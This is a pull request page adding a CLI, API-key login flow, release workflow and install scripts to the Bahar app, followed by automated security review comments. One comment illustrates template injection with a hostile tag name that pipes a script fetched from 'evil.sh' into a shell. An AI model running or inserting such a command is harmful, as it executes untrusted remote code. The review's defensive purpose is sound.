feat: add bahar CLI for direct dictionary/flashcard data access - #43
Conversation
Adds a standalone bunli-based CLI (apps/cli) so an agent or user can query their own Bahar dictionary/flashcard data directly against their per-user Turso database, bypassing the need for a new REST API surface. - Registers Better Auth's apiKey plugin (bahar_cli_ prefix) so the CLI can hold a real revocable PAT instead of a raw session token. - New /cli-auth web page: browser-based login flow mints a key and redirects to the CLI's localhost callback server (loopback pattern, à la gh/vercel). - bahar login / bahar db-info / bahar update commands, plus a passive update-check on every run. - Release workflow cross-compiles all 4 platform binaries from a single ubuntu runner and publishes to GitHub Releases on cli-v* tags (scoped explicitly, since this monorepo's other apps already use plain v* tags). - install.sh / install.ps1 for distribution via raw.githubusercontent.com. - .claude/skills/bahar-data-access documents the flow for agents, pointing at live schema introspection rather than a hardcoded (and driftable) column list. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
|
Warning Review limit reached
Next review available in: 44 minutes Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available. How can I continue?After more reviews become available, a review can be triggered using the To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews. How do review limits work?CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability. For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window. Please refer docs for additional details. 📝 WalkthroughWalkthroughThis PR introduces a new Bahar CLI application with login, db-info, and update commands using a local callback server for OAuth-like authentication; adds API key support to the Better-Auth backend and web client; creates a web /cli-auth route to mint API keys; and adds release/install tooling and documentation. ChangesAPI Key Backend and Web Auth
Bahar CLI Application
Estimated code review effort: 4 (Complex) | ~60 minutes Sequence Diagram(s)sequenceDiagram
participant User
participant CLI as Bahar CLI (login)
participant Browser
participant Web as Web App (/cli-auth)
participant API as Better-Auth API
User->>CLI: bahar login
CLI->>CLI: start local server, generate state
CLI->>Browser: open /cli-auth?port&state
Browser->>Web: GET /cli-auth
Web->>Web: check session (beforeLoad)
alt not authenticated
Web->>Browser: redirect to /login
end
Web->>API: apiKey.create({ name: "CLI" })
API-->>Web: API key token
Web->>Browser: redirect to localhost callback with token+state
Browser->>CLI: GET /callback?token&state
CLI->>CLI: validate state, save credentials
CLI-->>User: login success
sequenceDiagram
participant CLI as Bahar CLI (db-info)
participant Creds as Credentials Store
participant API as Bahar API
CLI->>Creds: loadCredentials()
alt no credentials
CLI-->>CLI: print "Not logged in", exit 1
else credentials found
CLI->>API: GET /databases/user (x-api-key: token)
alt response not OK
API-->>CLI: error status
CLI-->>CLI: print error, exit 1
else success
API-->>CLI: JSON connection info
CLI-->>CLI: print formatted JSON
end
end
Possibly related PRs
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Deploying bahar with
|
| Latest commit: |
be54ac6
|
| Status: | ✅ Deploy successful! |
| Preview URL: | https://c8e6b381.bahar-5xu.pages.dev |
| Branch Preview URL: | https://feat-cli-tool.bahar-5xu.pages.dev |
CLI keys live indefinitely in a plaintext credentials file with no revoke/list UI yet, so a leaked file currently means permanent access. An expiry bounds that blast radius until the revoke UI exists. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 17
🧹 Nitpick comments (6)
apps/cli/scripts/install.sh (1)
74-81: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick winTag lookup via
/releasesis unfiltered and paginated (defaults to 30 items).If the repo ever has more than ~30 more-recent non-CLI releases (or tags not matching
cli-v*), the firstgrep -m1match may miss the actual latest CLI release or fail to find one at all, since the endpoint isn't filtered server-side. Consider paginating/filtering, e.g. viajq 'select(.tag_name | startswith("cli-v"))'across pages, similar in spirit to howinstall.ps1filters by-like "cli-v*".🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/cli/scripts/install.sh` around lines 74 - 81, The tag lookup in install.sh is reading only the first page of the GitHub /releases endpoint and filtering client-side, so it can miss the latest CLI tag when there are many non-CLI releases. Update the release selection logic around the tag assignment to paginate or otherwise filter server-side/client-side across all pages, and keep the existing cli-v* matching behavior consistent with install.ps1..github/workflows/release-cli.yml (1)
33-63: 🔒 Security & Privacy | 🔵 Trivial | 🏗️ Heavy liftNo checksum/signature verification for published binaries.
The release publishes raw binaries with no accompanying checksums, and
install.sh/install.ps1download andchmod +x/execute them with no integrity check. Consider generating aSHA256SUMSfile during the build/release job and having the install scripts verify it after download, to guard against a compromised artifact or CDN/mirror tampering.Also applies to: 72-89
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/release-cli.yml around lines 33 - 63, The release workflow currently uploads raw CLI binaries without any integrity metadata, so add checksum generation to the binary build/release job in the Build binaries step and publish the checksum artifact alongside the executables. Update the release packaging flow to produce a SHA256SUMS file for the outputs created by bun build, and ensure the upload-artifact block includes it so downstream installers can consume it. Use the existing target mapping in the Build binaries loop and the artifact upload section to locate the changes.apps/web/src/routes/cli-auth/route.lazy.tsx (1)
17-24: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick winUse the project's
Result<T, E>/DisplayErrorpattern for this error path.The
apiKey.createfailure is handled with local component state instead of the repo's mandated error-handling convention.As per coding guidelines: "Use
Result<T, E>for explicit error handling, andDisplayErrorfor user-facing errors."🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/web/src/routes/cli-auth/route.lazy.tsx` around lines 17 - 24, The `apiKey.create` failure path in the CLI auth route is using local state instead of the repo’s standard error flow. Update the logic in `route.lazy.tsx` around the `apiKey.create` call to return and handle a `Result<T, E>` value, and surface the failure through `DisplayError` rather than `setStatus("error")`. Keep the success path unchanged, but make the error branch conform to the same explicit error-handling pattern used elsewhere in the app.Source: Coding guidelines
apps/web/src/routes/cli-auth/route.tsx (1)
4-13: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick winValidate
port/statebefore accepting them.
Number(search.port)can resolve toNaN(or an out-of-range value) with no guard, which later builds an invalidhttp://localhost:NaN/callbackredirect target inroute.lazy.tsx. Consider validating bounds here so malformed search params fail fast with a clear error instead of silently producing a broken redirect.🛠️ Proposed validation
validateSearch: (search: Record<string, unknown>): CliAuthSearch => ({ - port: Number(search.port), - state: String(search.state ?? ""), - }), + port: (() => { + const port = Number(search.port); + if (!Number.isInteger(port) || port <= 0 || port > 65535) { + throw new Error("Invalid or missing port parameter"); + } + return port; + })(), + state: String(search.state ?? ""), + }),🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/web/src/routes/cli-auth/route.tsx` around lines 4 - 13, The validateSearch logic in Route currently accepts any coerced value for port/state, which can let invalid query params through and later produce a broken localhost redirect. Update the Route.validateSearch handler to explicitly validate search.port as a finite, in-range numeric port and search.state as a non-empty string before returning CliAuthSearch, and make invalid inputs fail fast with a clear error instead of relying on Number/String coercion.apps/cli/src/commands/db-info.ts (1)
9-31: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚖️ Poor tradeoffError handling doesn't follow the
Result<T, E>/DisplayErrorconvention.Failures here are surfaced via
console.error+process.exitCoderather than the repo's statedResult<T, E>/DisplayErrorpattern for user-facing errors. Worth confirming whether this convention is intended to extend to CLI stdout flows or is scoped to the web app.As per coding guidelines, "Use
Result<T, E>for explicit error handling, andDisplayErrorfor user-facing errors."🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/cli/src/commands/db-info.ts` around lines 9 - 31, The db-info command currently surfaces user-facing failures with console.error and process.exitCode instead of the repo’s Result<T, E>/DisplayError pattern. Update the handler in db-info.ts to return or propagate explicit Result-based errors for the loadCredentials and fetch failure paths, using DisplayError for the messages shown to users. Keep the success path unchanged, and make sure the command’s error handling is consistent with the existing CLI command conventions used elsewhere in the codebase.Source: Coding guidelines
apps/cli/src/lib/credentials.ts (1)
41-49: 🎯 Functional Correctness | 🔵 Trivial | ⚡ Quick winConsider validating loaded credentials and using structured error handling.
loadCredentialscasts the parsed JSON directlyas Credentialsand will throw uncaught if the file is corrupted/malformed, rather than surfacing a typed error. Per coding guidelines, error handling should useResult<T, E>withDisplayErrorfor user-facing errors rather than letting exceptions propagate raw.As per coding guidelines, "Use
Result<T, E>for explicit error handling, andDisplayErrorfor user-facing errors."🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@apps/cli/src/lib/credentials.ts` around lines 41 - 49, The loadCredentials function currently casts parsed JSON directly to Credentials and lets parse failures throw, so update it to validate the loaded data and return a Result<T, E> instead of throwing. Use structured error handling around the Bun.file(credentialsPath()) read/json parse path, and convert corrupted or malformed credentials into a typed DisplayError for user-facing messaging. Keep the existing loadCredentials symbol as the entry point, but ensure callers receive explicit success/failure rather than uncaught exceptions.Source: Coding guidelines
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/release-cli.yml:
- Around line 1-11: The workflow for Release CLI is missing a top-level
permissions block, so the build job inherits broad default token access. Add an
explicit workflow-level permissions setting in the release-cli workflow and
scope it to the minimum required for the build-only job; verify the existing
build job and any related steps like checkout and pnpm install still work with
the reduced token permissions.
- Around line 77-88: The release job is interpolating github.ref_name and
github.repository directly into the shell script in the Create release and
upload binaries step, which creates template-injection risk. Move those values
into env variables on the job or step, then reference the env vars inside the gh
release create command instead of using direct GitHub expressions. Keep the
change focused on the release step so the gh invocation only consumes shell-safe
environment variables.
- Around line 26-54: The release workflow is interpolating BAHAR_WEB_URL and
BAHAR_API_URL directly into the shell script, which risks template-injection in
the Build binaries step. Move both values into the step’s env and reference them
as shell variables inside the Verify release URLs are configured check and the
bun build --define arguments in release-cli.yml, keeping the existing logic in
Build binaries and the target loop unchanged.
In `@apps/api/src/auth.ts`:
- Around line 457-460: The apiKey configuration in auth.ts is granting CLI keys
full session-equivalent access through enableSessionForAPIKeys, which is too
broad for a key minted without explicit permissions. Update the API key setup to
scope CLI keys to only the permissions required by the CLI flow, using the
apiKey configuration path in auth.ts and keeping the existing CLI_API_KEY_PREFIX
entry point.
In `@apps/cli/package.json`:
- Around line 16-19: The CLI package is importing `colors` from `@bunli/utils` in
`apps/cli/src/lib/update.ts`, but that package is not declared in the CLI
dependencies. Add `@bunli/utils` to the dependencies in the CLI package manifest
so the import resolves reliably in isolated installs; use the existing
dependency list alongside `@bunli/core` and `open` to locate the change.
- Line 17: The CLI setup is treating createCLI as synchronous even though
`@bunli/core` 0.1.0 makes it async, so the cli variable is a promise. Update the
initialization in the createCLI usage site so the returned value is awaited
before calling cli.command(), cli.init(), and cli.run(), and keep the
surrounding bootstrap logic aligned with that async flow.
In `@apps/cli/scripts/install.sh`:
- Around line 7-24: The detect_asset function currently hardcodes Linux to
bahar-linux-x64, so Linux ARM64 hosts are misdetected and receive the wrong
binary. Update detect_asset to branch on both $os and $arch for Linux, similar
to the existing Darwin handling, and return the correct Linux ARM64 asset when
uname -m reports arm64/aarch64. Keep the Unsupported OS path for anything else,
and use the existing detect_asset symbol as the place to make the platform
selection logic consistent.
In `@apps/cli/src/commands/db-info.ts`:
- Around line 18-28: The database info fetch in db-info.ts only handles non-OK
responses, so network failures from fetch can still crash the command. Update
the handler around the fetch call to use the same timeout pattern as
getLatestRelease in apps/cli/src/lib/update.ts (AbortSignal.timeout(5000)) and
wrap the request in try/catch so unreachable API errors also print a friendly
colors.red message before setting process.exitCode and returning.
In `@apps/cli/src/commands/login.ts`:
- Around line 47-52: The login flow in the command callback leaves
`open(authUrl.toString())` unhandled and never shows the user the auth link. In
`apps/cli/src/commands/login.ts`, update the `login` command logic around
`authUrl`/`open()` to print the full auth URL to the terminal before attempting
to launch it, and wrap or await `open()` so failures are caught and reported. If
launching the browser fails, surface a clear fallback message telling the user
to open the printed URL manually.
- Line 61: The status message in login flow has a duplicated phrase (“in in”) in
the spinner text. Update the string in the login command’s startup message (the
s.start call in the login flow) so it reads naturally and removes the typo.
- Around line 18-45: The auth callback server in Bun.serve is currently bound to
all interfaces because hostname is omitted, which exposes the listener
unnecessarily. Update the server setup in the login flow to bind only to
loopback by setting hostname to 127.0.0.1 in the Bun.serve call, keeping the
callback handling logic unchanged.
In `@apps/cli/src/commands/update.ts`:
- Around line 45-54: The update flow in the binary download block currently
writes the fetched asset from asset.browser_download_url straight to
process.execPath without any trust check. Add an integrity verification step in
the update logic around the fetch/Bun.write/rename sequence, using a published
checksum or signature from the release metadata before replacing the executable.
Keep the change localized to the download/install path in update.ts so the
binary is only renamed after verification succeeds.
- Around line 45-54: The binary download-and-replace flow in updateCommand lacks
the same timeout and failure handling used elsewhere, so add an AbortSignal
timeout to the fetch in the download step and wrap the
fetch/Bun.write/chmod/rename sequence in try/catch. In the update command’s flow
around getLatestRelease, binaryResponse, and rename, surface failures through
the spinner using the existing colors.red-style error UX instead of allowing raw
exceptions to escape.
- Line 54: The update flow in rename(tempPath, process.execPath) is not safe on
Windows because the running CLI binary cannot be replaced in place. Update the
update command’s replacement logic in update.ts to branch on platform and use a
Windows-specific swap/relaunch strategy instead of direct rename, keeping the
existing non-Windows path intact.
In `@apps/cli/src/lib/credentials.ts`:
- Around line 29-39: The saveCredentials function currently writes
credentials.json with Bun.write and then tightens permissions afterward, leaving
a brief exposure window. Update saveCredentials to pass a restrictive mode of
0o600 directly to Bun.write when creating the file, and keep the
platform-specific chmod fallback only if needed for non-POSIX behavior. Use the
existing saveCredentials and credentialsPath symbols to make the change in the
credentials helper.
In `@apps/web/src/routes/cli-auth/route.lazy.tsx`:
- Around line 15-35: The cli-auth route currently mints an API key immediately
in useEffect via authClient.apiKey.create and then sends the raw token to the
localhost callback URL built from port/state, so add an explicit user
authorization/consent step before minting. Update the mintAndRedirect flow in
route.lazy.tsx to require a deliberate approval action before calling
authClient.apiKey.create, and replace the token-in-URL redirect with a
short-lived one-time code or POST-based exchange so the secret is not exposed in
window.location.href or browser history.
---
Nitpick comments:
In @.github/workflows/release-cli.yml:
- Around line 33-63: The release workflow currently uploads raw CLI binaries
without any integrity metadata, so add checksum generation to the binary
build/release job in the Build binaries step and publish the checksum artifact
alongside the executables. Update the release packaging flow to produce a
SHA256SUMS file for the outputs created by bun build, and ensure the
upload-artifact block includes it so downstream installers can consume it. Use
the existing target mapping in the Build binaries loop and the artifact upload
section to locate the changes.
In `@apps/cli/scripts/install.sh`:
- Around line 74-81: The tag lookup in install.sh is reading only the first page
of the GitHub /releases endpoint and filtering client-side, so it can miss the
latest CLI tag when there are many non-CLI releases. Update the release
selection logic around the tag assignment to paginate or otherwise filter
server-side/client-side across all pages, and keep the existing cli-v* matching
behavior consistent with install.ps1.
In `@apps/cli/src/commands/db-info.ts`:
- Around line 9-31: The db-info command currently surfaces user-facing failures
with console.error and process.exitCode instead of the repo’s Result<T,
E>/DisplayError pattern. Update the handler in db-info.ts to return or propagate
explicit Result-based errors for the loadCredentials and fetch failure paths,
using DisplayError for the messages shown to users. Keep the success path
unchanged, and make sure the command’s error handling is consistent with the
existing CLI command conventions used elsewhere in the codebase.
In `@apps/cli/src/lib/credentials.ts`:
- Around line 41-49: The loadCredentials function currently casts parsed JSON
directly to Credentials and lets parse failures throw, so update it to validate
the loaded data and return a Result<T, E> instead of throwing. Use structured
error handling around the Bun.file(credentialsPath()) read/json parse path, and
convert corrupted or malformed credentials into a typed DisplayError for
user-facing messaging. Keep the existing loadCredentials symbol as the entry
point, but ensure callers receive explicit success/failure rather than uncaught
exceptions.
In `@apps/web/src/routes/cli-auth/route.lazy.tsx`:
- Around line 17-24: The `apiKey.create` failure path in the CLI auth route is
using local state instead of the repo’s standard error flow. Update the logic in
`route.lazy.tsx` around the `apiKey.create` call to return and handle a
`Result<T, E>` value, and surface the failure through `DisplayError` rather than
`setStatus("error")`. Keep the success path unchanged, but make the error branch
conform to the same explicit error-handling pattern used elsewhere in the app.
In `@apps/web/src/routes/cli-auth/route.tsx`:
- Around line 4-13: The validateSearch logic in Route currently accepts any
coerced value for port/state, which can let invalid query params through and
later produce a broken localhost redirect. Update the Route.validateSearch
handler to explicitly validate search.port as a finite, in-range numeric port
and search.state as a non-empty string before returning CliAuthSearch, and make
invalid inputs fail fast with a clear error instead of relying on Number/String
coercion.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 0e9ad351-e69b-4b88-b2c3-f2b7d82c8370
⛔ Files ignored due to path filters (1)
pnpm-lock.yamlis excluded by!**/pnpm-lock.yaml
📒 Files selected for processing (23)
.claude/skills/bahar-data-access/SKILL.md.github/workflows/release-cli.ymlapps/api/drizzle/0021_chunky_mister_fear.sqlapps/api/drizzle/meta/0021_snapshot.jsonapps/api/drizzle/meta/_journal.jsonapps/api/src/auth.tsapps/api/src/db/schema/auth.tsapps/cli/package.jsonapps/cli/scripts/install.ps1apps/cli/scripts/install.shapps/cli/src/commands/db-info.tsapps/cli/src/commands/login.tsapps/cli/src/commands/update.tsapps/cli/src/index.tsapps/cli/src/lib/config.tsapps/cli/src/lib/credentials.tsapps/cli/src/lib/update.tsapps/cli/tsconfig.jsonapps/web/src/lib/auth-client.tsapps/web/src/routeTree.gen.tsapps/web/src/routes/cli-auth/route.lazy.tsxapps/web/src/routes/cli-auth/route.tsxbiome.jsonc
| name: Release CLI | ||
| on: | ||
| workflow_dispatch: | ||
| push: | ||
| tags: | ||
| - "cli-v*" | ||
|
|
||
| jobs: | ||
| build: | ||
| name: Build binaries | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Add an explicit top-level permissions block.
No workflow-level permissions is set, so the build job inherits the repo/org default token permissions (which may be broad read/write). Since build only checks out and compiles code (and runs pnpm install, which executes third-party install scripts), it should be scoped to the minimum required.
🔒 Proposed fix
name: Release CLI
on:
workflow_dispatch:
push:
tags:
- "cli-v*"
+
+permissions:
+ contents: readFlagged by zizmor: overly broad permissions (excessive-permissions): default permissions used due to no permissions: block.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| name: Release CLI | |
| on: | |
| workflow_dispatch: | |
| push: | |
| tags: | |
| - "cli-v*" | |
| jobs: | |
| build: | |
| name: Build binaries | |
| runs-on: ubuntu-latest | |
| name: Release CLI | |
| on: | |
| workflow_dispatch: | |
| push: | |
| tags: | |
| - "cli-v*" | |
| permissions: | |
| contents: read | |
| jobs: | |
| build: | |
| name: Build binaries | |
| runs-on: ubuntu-latest |
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 1-89: overly broad permissions (excessive-permissions): default permissions used due to no permissions: block
(excessive-permissions)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/release-cli.yml around lines 1 - 11, The workflow for
Release CLI is missing a top-level permissions block, so the build job inherits
broad default token access. Add an explicit workflow-level permissions setting
in the release-cli workflow and scope it to the minimum required for the
build-only job; verify the existing build job and any related steps like
checkout and pnpm install still work with the reduced token permissions.
Source: Linters/SAST tools
| name: Build binaries | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v4 |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Set persist-credentials: false on checkout.
pnpm install executes arbitrary third-party install/postinstall scripts. With the default checkout, the GitHub token is persisted in the local git config and could be exfiltrated by a compromised dependency. Since this job never pushes to the repo, credentials don't need to persist.
🔒 Proposed fix
- uses: actions/checkout@v4
+ with:
+ persist-credentials: falseFlagged by zizmor: credential persistence through GitHub Actions artifacts (artipacked).
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - uses: actions/checkout@v4 | |
| - uses: actions/checkout@v4 | |
| with: | |
| persist-credentials: false |
🧰 Tools
🪛 zizmor (1.26.1)
[warning] 13-13: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
Source: Linters/SAST tools
| - name: Verify release URLs are configured | ||
| run: | | ||
| if [ -z "${{ vars.BAHAR_WEB_URL }}" ] || [ -z "${{ vars.BAHAR_API_URL }}" ]; then | ||
| echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release." | ||
| exit 1 | ||
| fi | ||
|
|
||
| - name: Build binaries | ||
| working-directory: apps/cli | ||
| run: | | ||
| declare -A targets=( | ||
| [bun-linux-x64]=bahar-linux-x64 | ||
| [bun-darwin-x64]=bahar-darwin-x64 | ||
| [bun-darwin-arm64]=bahar-darwin-arm64 | ||
| [bun-windows-x64]=bahar-windows-x64.exe | ||
| ) | ||
|
|
||
| for target in "${!targets[@]}"; do | ||
| asset="${targets[$target]}" | ||
|
|
||
| bun build --compile \ | ||
| --target="$target" \ | ||
| --minify-whitespace \ | ||
| --minify-syntax \ | ||
| --define "process.env.BAHAR_WEB_URL='${{ vars.BAHAR_WEB_URL }}'" \ | ||
| --define "process.env.BAHAR_API_URL='${{ vars.BAHAR_API_URL }}'" \ | ||
| --outfile "$asset" \ | ||
| src/index.ts | ||
| done |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Avoid direct template interpolation of vars.* into shell scripts.
${{ vars.BAHAR_WEB_URL }} / ${{ vars.BAHAR_API_URL }} are expanded verbatim into the run: script text before the shell even sees it. If either value ever contains shell metacharacters (quotes, $(), backticks), it becomes executable code rather than a quoted string. Route these through env: and reference them as shell variables instead.
🔒 Proposed fix
- name: Verify release URLs are configured
+ env:
+ BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }}
+ BAHAR_API_URL: ${{ vars.BAHAR_API_URL }}
run: |
- if [ -z "${{ vars.BAHAR_WEB_URL }}" ] || [ -z "${{ vars.BAHAR_API_URL }}" ]; then
+ if [ -z "$BAHAR_WEB_URL" ] || [ -z "$BAHAR_API_URL" ]; then
echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release."
exit 1
fi
- name: Build binaries
working-directory: apps/cli
+ env:
+ BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }}
+ BAHAR_API_URL: ${{ vars.BAHAR_API_URL }}
run: |
...
bun build --compile \
--target="$target" \
--minify-whitespace \
--minify-syntax \
- --define "process.env.BAHAR_WEB_URL='${{ vars.BAHAR_WEB_URL }}'" \
- --define "process.env.BAHAR_API_URL='${{ vars.BAHAR_API_URL }}'" \
+ --define "process.env.BAHAR_WEB_URL='$BAHAR_WEB_URL'" \
+ --define "process.env.BAHAR_API_URL='$BAHAR_API_URL'" \
--outfile "$asset" \
src/index.ts
doneFlagged by zizmor: code injection via template expansion (template-injection) on lines 28, 50, 51.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Verify release URLs are configured | |
| run: | | |
| if [ -z "${{ vars.BAHAR_WEB_URL }}" ] || [ -z "${{ vars.BAHAR_API_URL }}" ]; then | |
| echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release." | |
| exit 1 | |
| fi | |
| - name: Build binaries | |
| working-directory: apps/cli | |
| run: | | |
| declare -A targets=( | |
| [bun-linux-x64]=bahar-linux-x64 | |
| [bun-darwin-x64]=bahar-darwin-x64 | |
| [bun-darwin-arm64]=bahar-darwin-arm64 | |
| [bun-windows-x64]=bahar-windows-x64.exe | |
| ) | |
| for target in "${!targets[@]}"; do | |
| asset="${targets[$target]}" | |
| bun build --compile \ | |
| --target="$target" \ | |
| --minify-whitespace \ | |
| --minify-syntax \ | |
| --define "process.env.BAHAR_WEB_URL='${{ vars.BAHAR_WEB_URL }}'" \ | |
| --define "process.env.BAHAR_API_URL='${{ vars.BAHAR_API_URL }}'" \ | |
| --outfile "$asset" \ | |
| src/index.ts | |
| done | |
| - name: Verify release URLs are configured | |
| env: | |
| BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }} | |
| BAHAR_API_URL: ${{ vars.BAHAR_API_URL }} | |
| run: | | |
| if [ -z "$BAHAR_WEB_URL" ] || [ -z "$BAHAR_API_URL" ]; then | |
| echo "::error::Set the BAHAR_WEB_URL and BAHAR_API_URL repository variables (Settings > Secrets and variables > Actions > Variables) before cutting a CLI release." | |
| exit 1 | |
| fi | |
| - name: Build binaries | |
| working-directory: apps/cli | |
| env: | |
| BAHAR_WEB_URL: ${{ vars.BAHAR_WEB_URL }} | |
| BAHAR_API_URL: ${{ vars.BAHAR_API_URL }} | |
| run: | | |
| declare -A targets=( | |
| [bun-linux-x64]=bahar-linux-x64 | |
| [bun-darwin-x64]=bahar-darwin-x64 | |
| [bun-darwin-arm64]=bahar-darwin-arm64 | |
| [bun-windows-x64]=bahar-windows-x64.exe | |
| ) | |
| for target in "${!targets[@]}"; do | |
| asset="${targets[$target]}" | |
| bun build --compile \ | |
| --target="$target" \ | |
| --minify-whitespace \ | |
| --minify-syntax \ | |
| --define "process.env.BAHAR_WEB_URL='$BAHAR_WEB_URL'" \ | |
| --define "process.env.BAHAR_API_URL='$BAHAR_API_URL'" \ | |
| --outfile "$asset" \ | |
| src/index.ts | |
| done |
🧰 Tools
🪛 zizmor (1.26.1)
[info] 28-28: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[info] 28-28: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[info] 50-50: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[info] 51-51: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/release-cli.yml around lines 26 - 54, The release workflow
is interpolating BAHAR_WEB_URL and BAHAR_API_URL directly into the shell script,
which risks template-injection in the Build binaries step. Move both values into
the step’s env and reference them as shell variables inside the Verify release
URLs are configured check and the bun build --define arguments in
release-cli.yml, keeping the existing logic in Build binaries and the target
loop unchanged.
Source: Linters/SAST tools
| - name: Create release and upload binaries | ||
| env: | ||
| GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| gh release create "${{ github.ref_name }}" \ | ||
| dist/bahar-linux-x64 \ | ||
| dist/bahar-darwin-x64 \ | ||
| dist/bahar-darwin-arm64 \ | ||
| dist/bahar-windows-x64.exe \ | ||
| --repo "${{ github.repository }}" \ | ||
| --title "Bahar CLI ${{ github.ref_name }}" \ | ||
| --generate-notes |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
Template-inject github.ref_name/github.repository into the release script — use env: indirection.
Git ref names permit characters like $, ( and ), so a maliciously-crafted tag (e.g. cli-v$(curl evil.sh|sh)) pushed by anyone with tag-push rights would be spliced directly into the shell script as executable code rather than a quoted string, in a job holding contents: write. This is the same class of injection zizmor flags at error level.
🔒 Proposed fix
- name: Create release and upload binaries
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ REF_NAME: ${{ github.ref_name }}
+ REPOSITORY: ${{ github.repository }}
run: |
- gh release create "${{ github.ref_name }}" \
+ gh release create "$REF_NAME" \
dist/bahar-linux-x64 \
dist/bahar-darwin-x64 \
dist/bahar-darwin-arm64 \
dist/bahar-windows-x64.exe \
- --repo "${{ github.repository }}" \
- --title "Bahar CLI ${{ github.ref_name }}" \
+ --repo "$REPOSITORY" \
+ --title "Bahar CLI $REF_NAME" \
--generate-notesFlagged by zizmor as [error]-level template-injection on lines 81 and 87.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Create release and upload binaries | |
| env: | |
| GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| gh release create "${{ github.ref_name }}" \ | |
| dist/bahar-linux-x64 \ | |
| dist/bahar-darwin-x64 \ | |
| dist/bahar-darwin-arm64 \ | |
| dist/bahar-windows-x64.exe \ | |
| --repo "${{ github.repository }}" \ | |
| --title "Bahar CLI ${{ github.ref_name }}" \ | |
| --generate-notes | |
| - name: Create release and upload binaries | |
| env: | |
| GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| REF_NAME: ${{ github.ref_name }} | |
| REPOSITORY: ${{ github.repository }} | |
| run: | | |
| gh release create "$REF_NAME" \ | |
